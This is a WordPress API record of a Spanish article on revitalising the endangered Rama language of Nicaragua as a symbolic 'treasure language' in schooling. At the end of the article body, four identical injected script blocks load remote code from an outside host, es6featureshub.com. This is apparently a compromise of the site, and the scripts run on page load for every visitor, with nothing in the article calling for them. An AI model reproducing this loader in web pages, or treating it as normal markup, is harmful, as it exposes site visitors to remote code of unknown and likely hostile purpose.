{"id":66570,"date":"2015-09-04T16:17:06","date_gmt":"2015-09-04T14:17:06","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66570"},"modified":"2025-10-21T22:01:55","modified_gmt":"2025-10-21T20:01:55","slug":"como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/","title":{"rendered":"\u00bfC\u00f3mo ense\u00f1ar una lengua materna\u2026cuando ya no es lengua materna?"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Colette Grinevald et B\u00e9n\u00e9dicte Pivot el December 18, 2010<\/span><br \/>\n&nbsp;<br \/>\n<em>Por Colette Grinevald  y B\u00e9n\u00e9dicte Pivot, ling\u00fcistas en el laboratorio Din\u00e1mica Del Lenguaje (DDL) de la Universidad Lyon 2<\/em><br \/>\nhttp:\/\/www.ddl.ish-lyon.cnrs.fr\/led-tdr\/<br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"carte_amcentrale\" src=\"\/wp-content\/uploads\/carte_amcentrale2.gif\" alt=\"carte_amcentrale\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">carte_amcentrale<\/p><\/div><\/p>\n<p><strong>Cuando la lengua \u00e9tnica no es lengua materna sino una lengua en peligro con alto valor simb\u00f3lico identitario para su comunidad, \u00bfcu\u00e1l es su lugar en la educaci\u00f3n formal?<\/strong><\/p>\n<p>La UNESCO reconoce a cada grupo \u00e9tnico de los derechos ling\u00fc\u00edsticos que favorecen el desarrollo de programas de educaci\u00f3n biling\u00fce. Estos programas se apoyan en los discursos cient\u00edficos que han mostrado que los aprendizajes escolares y el desarrollo cognitivo de los ni\u00f1os ten\u00edan los mejores resultados cuando la ense\u00f1anza era dispensada en su lengua materna (ver l<a href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/por-que-darle-preferencia-a-la-educacion-multilingue-basada-en-la-lengua-materna\/\" target=\"_blank\">os articulos de Tove Skutnabb-Kangas<\/a>).<\/p>\n<p>Pero, si las intenciones son buenas, las discusiones precedentes han demostrado que estos programas no han sido f\u00e1ciles de poner en marcha, incluso cuando todav\u00eda hab\u00eda bastantes locutores.<\/p>\n<p>Entonces \u00bfqu\u00e9 pasa cuando, adem\u00e1s de la falta de locutores, la lengua \u00e9tnica ya no es una lengua materna, en el sentido de una lengua vern\u00e1cula del primer aprendizaje infantil, sino se queda sin embargo, frente a los ojos y al coraz\u00f3n de su comunidad \u201d su lengua \u201d y qu\u00e9 con este t\u00edtulo, quieren revitalizarla en el marco de una educaci\u00f3n formal?<\/p>\n<p><strong>Los Ramas son Amerindios del sur de la costa Caribe de Nicaragua.<\/strong> De las 3000 personas que componen la comunidad rama, s\u00f3lo unos treinta de ellos son todav\u00eda locutores de su lengua \u00e9tnica. Lo que hablan hoy entre ellos es una variante del criollo con base inglesa que fue implantado por la poblaci\u00f3n criolla dominante. El espa\u00f1ol, lengua oficial del pa\u00eds, no es para ellos sino una segunda lengua que dominan poco verdaderamente.<\/p>\n<p>Pero en el contexto del movimiento de reivindicaci\u00f3n de identidad ind\u00edgena nacional y amerindia de los a\u00f1os 80, y mientras que esta lengua, <strong>el rama, que ellos mismos llamaban \u201d lengua de salvaje \u201c<\/strong>, tiger language, estaba desapareciendo, los jefes de la comunidad pidieron que fuera revitalizada. Le sigui\u00f3 un paso de revalorizaci\u00f3n que ha sido acompa\u00f1ado desde el principio por un equipo de ling\u00fcistas exteriores.<\/p>\n<p><strong>25 a\u00f1os m\u00e1s tarde, la actitud de los Ramas frente a su lengua \u00e9tnica cambi\u00f3:<\/strong> \u00e9sta se convirti\u00f3 un \u201cobjeto\u201d precioso del que est\u00e1n orgullosos, sobre la que dicen que es su <strong>\u201clengua tesoro\u201d<\/strong>. Es \u201csu lengua\u201d, our language, la cual les pertenece y que hace a ellos individuos identificables, diferentes de los otros grupos \u00e9tnicos y sobre todo diferentes Criollos.<\/p>\n<p>As\u00ed, ayudan a llenar el diccionario enciclop\u00e9dico en l\u00ednea del rama www.turkulka.net y capitalizan \u201cpalabra por palabra\u201d sus conocimientos ling\u00fc\u00edsticos. Se sent\u00edan satisfechos de haber podido aprender de algo, respondiendo que \u201cs\u00ed conocen la lengua, porque ellos speak one one word\u2026<\/p>\n<p>Esta lengua les permite por otro lado reivindicar la soberan\u00eda sobre su territorio (reconocido por la ley desde el 2009), de la que tuvieron que volver a aprender los top\u00f3nimos en rama\u2026<\/p>\n<p>As\u00ed, el rama ha cambiado de status; se convirti\u00f3 en una \u201d lengua tesoro \u201d <strong>con fuerte valor simb\u00f3lico de identidad y demostrativo,<\/strong> que parece no tener vocaci\u00f3n de ser vuelto a hablar com\u00fanmente alg\u00fan d\u00eda, que no es lengua materna y no lo ser\u00e1 probablemente nunca m\u00e1s, a la imagen del s\u00e1para del Ecuador. Pero, esta lengua tesoro no es menos objeto de una demanda por parte de la comunidad para su revitalizaci\u00f3n en el marco de un programa educativo formal, alrededor de los ni\u00f1os escolarizados.<\/p>\n<p>Entonces <strong>la \u00fanica respuesta institucional al d\u00eda de hoy<\/strong>, que se apoya en los derechos ling\u00fc\u00edsticos internacionales, pasa por programas educativos biling\u00fce que no saben hacer la distinci\u00f3n entre lengua \u00e9tnica y lengua materna. Hay as\u00ed una ausencia de reflexi\u00f3n sobre el status particular de estas lenguas en peligro con valor fuerte y simb\u00f3lico, que se convierten punto central de programas de revitalizaci\u00f3n sin tener a intenci\u00f3n de ser re-vernacularizados. Su transmisi\u00f3n plantea la cuesti\u00f3n de una did\u00e1ctica adaptada a su ense\u00f1anza, que falta inventar.<\/p>\n<p>Si este desaf\u00edo no es abordado de frente, continuar\u00e1 reinando una gran confusi\u00f3n en los esp\u00edritus de los actores locales de la revitalizaci\u00f3n y del sistema educativo que se considera multicultural y biling\u00fce (o multiling\u00fce) pero no reconoce este status especial de lengua tesoro.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Colette Grinevald et B\u00e9n\u00e9dicte Pivot el December 18, 2010 &nbsp; Por Colette Grinevald y B\u00e9n\u00e9dicte Pivot, ling\u00fcistas en el laboratorio Din\u00e1mica Del Lenguaje (DDL) de la Universidad Lyon 2 http:\/\/www.ddl.ish-lyon.cnrs.fr\/led-tdr\/ Cuando la lengua \u00e9tnica no es lengua materna sino una lengua en peligro con alto valor simb\u00f3lico identitario para su comunidad, \u00bfcu\u00e1l es [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66570","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\u00bfC\u00f3mo ense\u00f1ar una lengua materna\u2026cuando ya no es lengua materna? - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u00bfC\u00f3mo ense\u00f1ar una lengua materna\u2026cuando ya no es lengua materna? - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Colette Grinevald et B\u00e9n\u00e9dicte Pivot el December 18, 2010 &nbsp; Por Colette Grinevald y B\u00e9n\u00e9dicte Pivot, ling\u00fcistas en el laboratorio Din\u00e1mica Del Lenguaje (DDL) de la Universidad Lyon 2 http:\/\/www.ddl.ish-lyon.cnrs.fr\/led-tdr\/ Cuando la lengua \u00e9tnica no es lengua materna sino una lengua en peligro con alto valor simb\u00f3lico identitario para su comunidad, \u00bfcu\u00e1l es [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T14:17:06+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:01:55+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"\u00bfC\u00f3mo ense\u00f1ar una lengua materna\u2026cuando ya no es lengua materna?\",\"datePublished\":\"2015-09-04T14:17:06+00:00\",\"dateModified\":\"2025-10-21T20:01:55+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/\"},\"wordCount\":790,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/\",\"name\":\"\u00bfC\u00f3mo ense\u00f1ar una lengua materna\u2026cuando ya no es lengua materna? - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-04T14:17:06+00:00\",\"dateModified\":\"2025-10-21T20:01:55+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u00bfC\u00f3mo ense\u00f1ar una lengua materna\u2026cuando ya no es lengua materna?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u00bfC\u00f3mo ense\u00f1ar una lengua materna\u2026cuando ya no es lengua materna? - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/","og_locale":"es_ES","og_type":"article","og_title":"\u00bfC\u00f3mo ense\u00f1ar una lengua materna\u2026cuando ya no es lengua materna? - Sorosoro","og_description":"Publicado por Colette Grinevald et B\u00e9n\u00e9dicte Pivot el December 18, 2010 &nbsp; Por Colette Grinevald y B\u00e9n\u00e9dicte Pivot, ling\u00fcistas en el laboratorio Din\u00e1mica Del Lenguaje (DDL) de la Universidad Lyon 2 http:\/\/www.ddl.ish-lyon.cnrs.fr\/led-tdr\/ Cuando la lengua \u00e9tnica no es lengua materna sino una lengua en peligro con alto valor simb\u00f3lico identitario para su comunidad, \u00bfcu\u00e1l es [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T14:17:06+00:00","article_modified_time":"2025-10-21T20:01:55+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"4 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"\u00bfC\u00f3mo ense\u00f1ar una lengua materna\u2026cuando ya no es lengua materna?","datePublished":"2015-09-04T14:17:06+00:00","dateModified":"2025-10-21T20:01:55+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/"},"wordCount":790,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/","name":"\u00bfC\u00f3mo ense\u00f1ar una lengua materna\u2026cuando ya no es lengua materna? - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-04T14:17:06+00:00","dateModified":"2025-10-21T20:01:55+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/como-ensenar-una-lengua-maternacuando-ya-no-es-lengua-materna\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"\u00bfC\u00f3mo ense\u00f1ar una lengua materna\u2026cuando ya no es lengua materna?"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66570","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66570"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66570\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66570"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66570"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66570"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}